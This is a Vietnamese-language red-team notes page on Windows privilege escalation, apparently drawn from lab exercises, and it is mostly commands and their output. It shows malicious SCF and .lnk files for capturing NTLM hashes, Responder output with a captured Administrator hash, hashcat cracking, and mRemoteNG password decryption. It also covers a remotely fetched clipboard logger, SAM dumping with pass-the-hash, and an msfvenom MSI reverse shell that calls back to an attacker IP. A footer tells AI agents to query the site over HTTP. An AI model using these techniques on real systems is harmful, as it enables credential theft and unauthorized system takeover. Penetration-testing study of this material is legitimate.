> For the complete documentation index, see [llms.txt](https://duc193.gitbook.io/notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://duc193.gitbook.io/notes/redteam/window-privilege-escalation/additional-techniques.md).
# Additional Techniques
Interacting with Users
section này thì khi chúng ta không exploit misconfig được nữa thì chúng ta sẽ exploit bằng cách gieo bẫy cho user.
### Traffic Capture
Dùng `Wireshark` hoặc `tcpdump` hoặc tool [net-creds](https://github.com/DanMcInerney/net-creds) để nghe traffic xem có user nào login hay không
### Process Command Lines
Khi user chạy command mà ghi cả credential dạng như này
```
net use T: \\sql02\backups /user:inlanefreight\sqlsvc My4dm1nP@s5w0Rd
```
Thì chúng ta có thể đọc command đó thông qua process
```powershell
while($true)
{
$process = Get-WmiObject Win32_Process | Select-Object CommandLine
Start-Sleep 1
$process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}
```
### SCF on a File Share
File SCF là file config để Windows Explore đọc icon, load icon và làm nhiều thứ nữa.
Ví dụ :
```
[Shell]
Command=2
IconFile=C:\Windows\System32\shell32.dll,3
[Taskbar]
Command=ToggleDesktop
```
Thì nó sẽ đi tới `C:\Windows\System32\shell32.dll,3` để lấy file icon và hiển thị ra cho chúng ta
Khi chúng ta thay thành share SMB thì window explore nó sẽ truy cập tới share này và nếu cần authenticate thì nó sẽ gửi hash lên.
> Lưu ý : Khi rải thì rải ở Share writeable để user khác truy cập share thì sẽ dính
```
[Shell]
Command=2
IconFile=\\10.10.14.3\share\legit.ico
[Taskbar]
Command=ToggleDesktop
```
Dùng `responder` bắt traffic lấy hash
```powershell
nduc193@htb[/htb]$ sudo responder -wrf -v -I tun0
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 3.0.2.0
Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CTRL-C
[+] Poisoners:
LLMNR [ON]
NBT-NS [ON]
DNS/MDNS [ON]
[+] Servers:
HTTP server [ON]
HTTPS server [ON]
WPAD proxy [ON]
Auth proxy [OFF]
SMB server [ON]
Kerberos server [ON]
SQL server [ON]
FTP server [ON]
IMAP server [ON]
POP3 server [ON]
SMTP server [ON]
DNS server [ON]
LDAP server [ON]
RDP server [ON]
[+] HTTP Options:
Always serving EXE [OFF]
Serving EXE [OFF]
Serving HTML [OFF]
Upstream Proxy [OFF]
[+] Poisoning Options:
Analyze Mode [OFF]
Force WPAD auth [OFF]
Force Basic Auth [OFF]
Force LM downgrade [OFF]
Fingerprint hosts [ON]
[+] Generic Options:
Responder NIC [tun2]
Responder IP [10.10.14.3]
Challenge set [random]
Don't Respond To Names ['ISATAP']
[!] Error starting SSL server on port 443, check permissions or other servers running.
[+] Listening for events...
[SMB] NTLMv2-SSP Client : 10.129.43.30
[SMB] NTLMv2-SSP Username : WINLPE-SRV01\Administrator
[SMB] NTLMv2-SSP Hash : Administrator::WINLPE-SRV01:815c504e7b06ebda:afb6d3b195be4454b26959e754cf7137:01010......
```
crack :
```
hashcat -m 5600 hash /usr/share/wordlists/rockyou.txt
```
Kể từ window server 2019 thì window đã siết cách này hơn.
### Capturing Hashes with a Malicious .lnk File
Và với shortcut `.lnk` thì khi Window Explore truy cập folder chứa shortcut đó, nó sẽ load tới target path để cố lấy metadata để hiển thị.
⇒ cũng connect tới và gửi auth hash tới SMB
Gen malicious `.lnk` file
```powershell
$objShell = New-Object -ComObject WScript.Shell
$lnk = $objShell.CreateShortcut("C:\legit.lnk")
$lnk.TargetPath = "\\\@pwn.png"
$lnk.WindowStyle = 1
$lnk.IconLocation = "%windir%\system32\shell32.dll, 3"
$lnk.Description = "Browsing to the directory where this file is saved will trigger an auth request."
$lnk.HotKey = "Ctrl+Alt+O"
$lnk.Save()
```
## Pillaging
### mRemoteNG
Path ở `%USERPROFILE%\APPDATA\Roaming\mRemoteNG`
```
PS C:\htb> ls C:\Users\julio\AppData\Roaming\mRemoteNG
Directory: C:\Users\julio\AppData\Roaming\mRemoteNG
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 7/21/2022 8:51 AM Themes
-a---- 7/21/2022 8:51 AM 340 confCons.xml
7/21/2022 8:51 AM 970 mRemoteNG.log
```
**confCons.xml**
```xml
```
Dùng [mRemoteNG-Decrypt](https://github.com/haseebT/mRemoteNG-Decrypt)
```
nduc193@htb[/htb]$ python3 mremoteng_decrypt.py -s "sPp6b6Tr2iyXIdD/KFNGEWzzUyU84ytR95psoHZAFOcvc8LGklo+XlJ+n+KrpZXUTs2rgkml0V9u8NEBMcQ6UnuOdkerig=="
Password: ASDki230kasd09fk233aDA
```
### Clipboard
```powershell
PS C:\htb> IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/inguardians/Invoke-Clipboard/master/Invoke-Clipboard.ps1')
PS C:\htb> Invoke-ClipboardLogger
```
### restic - Backup
Khi foothold có backup ví dụ : restic , có thể restore `C:\Windows\System32\config` để lấy **SAM**, **SYSTEM**, **SECURITY** để dump hash và pass the hash
```
impacket-secretsdump -sam SAM -system SYSTEM -security SECURITY LOCAL
```
```
evil-winrm -i 10.129.203.122 -u Administrator -H bac9dc5b7b4bec1d83e0e9c04b477f26
```
## Miscellaneous Techniques
### LOLBAS
Living Off The Land Binaries and Scripts:
### Always Install Elevated
Khi 2 registry này được bật
```powershell
PS C:\htb> reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
AlwaysInstallElevated REG_DWORD 0x1
```
```powershell
PS C:\htb> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer
AlwaysInstallElevated REG_DWORD 0x1
```
Thì bất kỳ MSI nào được cài bởi user đều được chạy với quyền elevated.
Gen MSI
```powershell
nduc193@htb[/htb]$ msfvenom -p windows/shell_reverse_tcp lhost=10.10.14.3 lport=9443 -f msi > aie.msi
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of msi file: 159744 bytes
```
execute
```powershell
C:\htb> msiexec /i c:\users\htb-student\desktop\aie.msi /quiet /qn /norestart
```
### Scheduled Tasks
Khi scheduled task hoặc cronjob mà execute bằng SYSTEM mà file đó writeable thì có thể sửa file đó để priv es
## Exploit Windows
Nếu phải rdp vào Window ver thấp (EOL) mà xfreerdp lỗi thì có thể dùng **rdesktop** để rdp.
```
rdesktop -u htb-student -p 'HTB_@cademy_stdnt!' 10.129.60.193
```
### Windows Server
Dùng [Sherlock](https://github.com/rasta-mouse/Sherlock) để scan vuln Windows
```powershell
PS C:\htb> Set-ExecutionPolicy bypass -Scope process
Execution Policy Change
The execution policy helps protect you from scripts that you do not trust. Changing the execution policy might expose
you to the security risks described in the about_Execution_Policies help topic. Do you want to change the execution
policy?
[Y] Yes [N] No [S] Suspend [?] Help (default is "Y"): Y
PS C:\htb> Import-Module .\Sherlock.ps1
PS C:\htb> Find-AllVulns
Title : User Mode to Ring (KiTrap0D)
MSBulletin : MS10-015
CVEID : 2010-0232
Link : https://www.exploit-db.com/exploits/11199/
VulnStatus : Not supported on 64-bit systems
....
```
Exploit metasploit thì có thể dùng `ForceExploit` để bypass check version , nhiều khi nó check sai rồi ko exploit.
### Window Desktop
Dùng [Windows-Exploit-Suggester](https://github.com/AonCyberLabs/Windows-Exploit-Suggester) để recon vuln
Get `systeminfo`
```powershell
C:\htb> systeminfo
Host Name: WINLPE-WIN7
OS Name: Microsoft Windows 7 Professional
OS Version: 6.1.7601 Service Pack 1 Build 7601
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Workstation
OS Build Type: Multiprocessor Free
Registered Owner: mrb3n
Registered Organization:
Product ID: 00371-222-9819843-86644
Original Install Date: 3/25/2021, 7:23:47 PM
System Boot Time: 5/13/2021, 5:14:12 PM
System Manufacturer: VMware, Inc.
System Model: VMware Virtual Platform
System Type: x64-based PC
Processor(s): 2 Processor(s) Installed.
[01]: AMD64 Family 23 Model 49 Stepping 0 AuthenticAMD ~2994 Mhz
[02]: AMD64 Family 23 Model 49 Stepping 0 AuthenticAMD ~2994 Mhz
BIOS Version: Phoenix Technologies LTD 6.00, 12/12/2018
Windows Directory: C:\Windows
```
Setup tool :
```powershell
# Download tool:
wget https://raw.githubusercontent.com/AonCyberLabs/Windows-Exploit-Suggester/master/windows-exploit-suggester.py
# Install dependencies (if needed):
sudo wget https://files.pythonhosted.org/packages/28/84/27df240f3f8f52511965979aad7c7b77606f8fe41d4c90f2449e02172bb1/setuptools-2.0.tar.gz
sudo tar -xf setuptools-2.0.tar.gz && cd setuptools-2.0/ && sudo python2 setup.py install
sudo wget https://files.pythonhosted.org/packages/42/85/25caf967c2d496067489e0bb32df069a8361e1fd96a7e9f35408e56b3aab/xlrd-1.0.0.tar.gz
sudo tar -xf xlrd-1.0.0.tar.gz && cd xlrd-1.0.0/ && sudo python2 setup.py install
# Update vulnerability database:
python2 windows-exploit-suggester.py --update
```
Chạy tool :
```bash
sudo python2 windows-exploit-suggester.py --update
# Sau khi run se ra file xls giong `2026-06-19-mssb.xls` thay vo la done
python2 windows-exploit-suggester.py --database 2026-06-19-mssb.xls --systeminfo win7lpe-systeminfo.txt
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://duc193.gitbook.io/notes/redteam/window-privilege-escalation/additional-techniques.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.